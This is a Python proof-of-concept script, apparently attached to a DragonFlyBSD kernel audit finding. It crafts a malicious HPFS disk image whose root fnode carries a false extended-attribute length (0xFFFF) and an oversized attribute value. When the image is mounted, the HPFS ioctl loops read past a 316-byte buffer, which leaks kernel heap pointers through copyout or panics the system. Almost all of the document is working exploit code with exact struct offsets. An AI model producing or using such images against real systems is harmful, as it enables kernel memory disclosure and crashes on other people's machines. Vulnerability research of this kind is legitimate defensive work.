DragonFlyBSD Kernel Audit
DF-0829 / mk_hpfs.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# mk_hpfs.py — Craft a minimal-but-valid HPFS image whose root fnode carries
# a lying fn_ealen (0xFFFF) and a first EA with ea_vallen=0xFFFE, so that the
# EA-iteration loops in sys/vfs/hpfs/hpfs_vnops.c (HPFSIOCGEANUM / GEASZ /
# RDEA) walk past the 316-byte fn_int buffer and either leak adjacent kernel
# heap (h_vp, h_devvp, ...) via copyout or panic when copyout crosses into
# an unmapped page.
#
# IMPORTANT: the on-disk struct layouts mirror the kernel C struct layout
# (verified on DragonFly 6.5-DEVELOPMENT with a tiny kld module), including
# the natural-alignment padding the compiler inserts. Critically this means
# fn_ealen is at byte offset 56 within struct fnode (NOT 52) and fn_flag at
# 59 (NOT 55). Use the wrong slot and the kernel reads zeroes for both.
#
# Layout (sector = 512 B):
#   0..15   reserved (zeros)
#   16      SuperBlock  (SU_MAGIC, rootfno, btotal, su_bitmap.lsn1)
#   17      SpareBlock  (SP_MAGIC, sp_cpinum=0  -> skip cpinit)
#   40      bmind[1]    (lsn of band-0 bitmap)
#   50..53  band-0 bitmap (4 KB, all bits set)
#   30      root fnode  (FN_MAGIC, fn_flag=1 -> VDIR, fn_ealen=0xFFFF,
#                        first EA at fn_int[0]: type=0 namelen=5 vallen=0xFFFE,
#                        name="AAAAA")
#
# Run: python3 mk_hpfs.py evil.hpfs
import struct, sys

SECTOR = 512
DISK_SECTORS = 200
img = bytearray(DISK_SECTORS * SECTOR)

SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE

ROOTFNO    = 30
BTOTAL     = 100
BMIND_LSN  = 40
BITMAP_LSN = 50
DIRBLK_LSN = 60      # 4 KB dir block (D_BSIZE) for the root dir

# ---- Sector 16: SuperBlock (kernel struct sublock, sizeof=112) ------------
# struct sublock {
#   u64 su_magic @0;  u8 su_hpfsver @8; u8 su_fnctver @9; u16 unused @10;
#   lsn_t su_rootfno @12; u32 su_btotal @16; u32 su_badbtotal @20;
#   rsp_t su_bitmap @24;  rsp_t su_badbl @32;
#   u32 su_chkdskdate @40; u32 su_dskoptdate @44;
#   u32 su_dbbsz @48; lsn_t su_dbbstart @52; lsn_t su_dbbend @56;
#   lsn_t su_dbbbitmap @60; char su_volname[0x20] @64; lsn_t su_uidt @96;
#   ...tail padding to 112
# };
sub = bytearray(512)
struct.pack_into('<Q', sub, 0,  SU_MAGIC)
sub[8]  = 3                       # hpfsver
sub[9]  = 0                       # fnctver
struct.pack_into('<H', sub, 10, 0)
struct.pack_into('<I', sub, 12, ROOTFNO)
struct.pack_into('<I', sub, 16, BTOTAL)
struct.pack_into('<I', sub, 20, 0)             # badbtotal
struct.pack_into('<II', sub, 24, BMIND_LSN, BMIND_LSN)   # su_bitmap rsp_t
struct.pack_into('<II', sub, 32, 0, 0)         # su_badbl rsp_t
struct.pack_into('<II', sub, 40, 0, 0)         # chkdsk, dskopt
struct.pack_into('<I',  sub, 48, 0)            # dbbsz
struct.pack_into('<I',  sub, 52, 0)            # dbbstart
struct.pack_into('<I',  sub, 56, 0)            # dbbend
struct.pack_into('<I',  sub, 60, 0)            # dbbbitmap
# volname[0x20] at 64..95 zeros
struct.pack_into('<I',  sub, 96, 0)            # uidt
off = 16 * SECTOR
img[off:off+512] = sub

# ---- Sector 17: SpareBlock (kernel struct spblock, sizeof=512) ------------
# struct spblock {
#   u64 sp_magic @0; u16 sp_flag @8; u8 sp_mmcontf @10; u8 unused @11;
#   lsn_t sp_hf @12; u32 sp_hfinuse @16; u32 sp_hfavail @20;
#   u32 sp_spdbavail @24; u32 sp_spdbmax @28;
#   lsn_t sp_cpi @32; u32 sp_cpinum @36; ...
# };
sp = bytearray(512)
struct.pack_into('<Q', sp, 0, SP_MAGIC)
struct.pack_into('<H', sp, 8,  0)              # sp_flag
sp[10] = 0                                     # mmcontf
sp[11] = 0
struct.pack_into('<I', sp, 12, 0)              # sp_hf
struct.pack_into('<I', sp, 16, 0)              # sp_hfinuse
struct.pack_into('<I', sp, 20, 0)              # sp_hfavail
struct.pack_into('<I', sp, 24, 0)              # sp_spdbavail
struct.pack_into('<I', sp, 28, 0)              # sp_spdbmax
struct.pack_into('<I', sp, 32, 0)              # sp_cpi
struct.pack_into('<I', sp, 36, 0)              # sp_cpinum  -> 0: skip cpinit
off = 17 * SECTOR
img[off:off+512] = sp

# ---- Sector 40: bmind[] (1 lsn_t per data band) --------------------------
off = BMIND_LSN * SECTOR
struct.pack_into('<I', img, off, BITMAP_LSN)

# ---- Sectors 50..53: band-0 bitmap (BMSIZE = 4 KB), all bits set --------
bm = bytearray(2048)
for i in range(BTOTAL):
    bm[i // 8] |= (1 << (i % 8))
off = BITMAP_LSN * SECTOR
img[off:off+2048] = bm

# ---- Sectors 60..67: minimal dir block for root (D_BSIZE = 4 KB) ---------
# dirblk_t { u32 d_magic; u32 d_freeoff; u32 d_chcnt; lsn_t d_parent;
#            lsn_t d_self; }  -- sizeof = 0x14
# Followed by hpfsdirent_t entries; we plant a single DE_END marker so the
# walk in hpfs_validateparent terminates immediately.
D_MAGIC = 0x77E40AAE
db = bytearray(4096)
struct.pack_into('<I', db, 0,  D_MAGIC)
struct.pack_into('<I', db, 4,  0x28)         # d_freeoff (past header + end-marker)
struct.pack_into('<I', db, 8,  0)            # d_chcnt
struct.pack_into('<I', db, 12, ROOTFNO)      # d_parent = self
struct.pack_into('<I', db, 16, DIRBLK_LSN)   # d_self
# At offset 0x14 (= sizeof(dirblk_t) = 20): one hpfsdirent_t with DE_END set.
# hpfsdirent_t { u16 de_reclen; u16 de_flag; ... }
DE_END = 0x0008
struct.pack_into('<H', db, 20, 0x14)         # de_reclen (size of this entry)
struct.pack_into('<H', db, 22, DE_END)       # de_flag = end marker
off = DIRBLK_LSN * SECTOR
img[off:off+4096] = db

# ---- Sector 30: root fnode (the malicious vnode) --------------------------
# sizeof(struct fnode) = 520. bcopy at hpfs_vfsops.c:535 copies 520 bytes
# out of a 512-byte bread buffer (separate off-by-8; not our bug). Field
# offsets are the kernel struct's natural-alignment layout:
#   0   u32  fn_magic
#   4   pad  (4 bytes, alignment of fn_readhist)
#   8   u64  fn_readhist
#   16  u8   fn_namelen
#   17  char fn_name[0xF]                (15 bytes -> ends at 32)
#   32  lsn_t fn_parent
#   36  sptr fn_extacl (cnt+lsn = 8)
#   44  u16  fn_acllen
#   46  u8   fn_extaclflag
#   47  u8   fn_histbitcount
#   48  sptr fn_extea (8)
#   56  u16  fn_ealen          <-- attacker-controlled, unvalidated
#   58  u8   fn_exteaflag
#   59  u8   fn_flag           <-- set 1 for VDIR
#   60  alblk fn_ab (8)
#   68  u8   fn_abd[0x60]      (96 -> ends at 164)
#   164 u32  fn_size
#   168 u32  fn_reqea
#   172 u8   fn_uid[0x10]      (16 -> ends at 188)
#   188 u16  fn_intoff
#   190 u8   fn_1dasdthr
#   191 u8   fn_dasdthr
#   192 u32  fn_dasdlim
#   196 u32  fn_dasdusage
#   200 u8   fn_int[0x13c]      (316 -> ends at 516; +4 pad = 520)
EALEN  = 0xFFFF
EA_VAL = 0xFFFE
EA_NAM = 5
fn = bytearray(512)
struct.pack_into('<I', fn, 0,  FN_MAGIC)
# readhist (8 bytes) at offset 8: zeros
fn[16] = 0                                    # namelen
struct.pack_into('<I', fn, 32, ROOTFNO)        # parent = self (root's parent is root)
struct.pack_into('<H', fn, 56, EALEN)         # <-- THE LIE
fn[58] = 0                                    # exteaflag
fn[59] = 1                                    # flag -> VDIR (so namei treats
                                             # /mnt/hpfs as a directory)
# Configure the allocation block (alblk_t) and the first alleaf entry in
# fn_abd so hpfs_validateparent can find the dir block:
#   alblk_t { u8 ab_flag; u8 ab_res[3]; u8 ab_freecnt; u8 ab_busycnt;
#             u16 ab_freeoff; }   sizeof = 8
AB_NODES = 0x80                               # fn_ab.ab_flag: this is a leaf
struct.pack_into('<B', fn, 60, AB_NODES)
struct.pack_into('<B', fn, 64, 0)             # ab_freecnt
struct.pack_into('<B', fn, 65, 1)             # ab_busycnt = 1 (one alleaf)
struct.pack_into('<H', fn, 66, 0x14)          # ab_freeoff = past header+entry
# First alleaf_t at fn_abd[0] (= offset 68 in struct fnode):
#   alleaf_t { u32 al_off; u32 al_len; lsn_t al_lsn; }   sizeof = 12
struct.pack_into('<I', fn, 68, 0)             # al_off
struct.pack_into('<I', fn, 72, 1)             # al_len = 1 block
struct.pack_into('<I', fn, 76, DIRBLK_LSN)    # al_lsn -> our dir block
# Plant first EA at fn_int[0] = offset 200:
#   struct ea { u8 type; u8 namelen; u16 vallen; char name[]; char val[]; }
ea = 200
fn[ea+0] = 0                                  # plain value
fn[ea+1] = EA_NAM
struct.pack_into('<H', fn, ea+2, EA_VAL)
fn[ea+4:ea+4+EA_NAM] = b'A' * EA_NAM
off = ROOTFNO * SECTOR
img[off:off+512] = fn

with open(sys.argv[1], 'wb') as f:
    f.write(img)
print(f"wrote {sys.argv[1]}: {len(img)} bytes, rootfno={ROOTFNO}, "
      f"fn_ealen={EALEN:#x} @off56, fn_flag=VDIR @off59, "
      f"ea_vallen={EA_VAL:#x} @fn_int[0] (off200), btotal={BTOTAL}")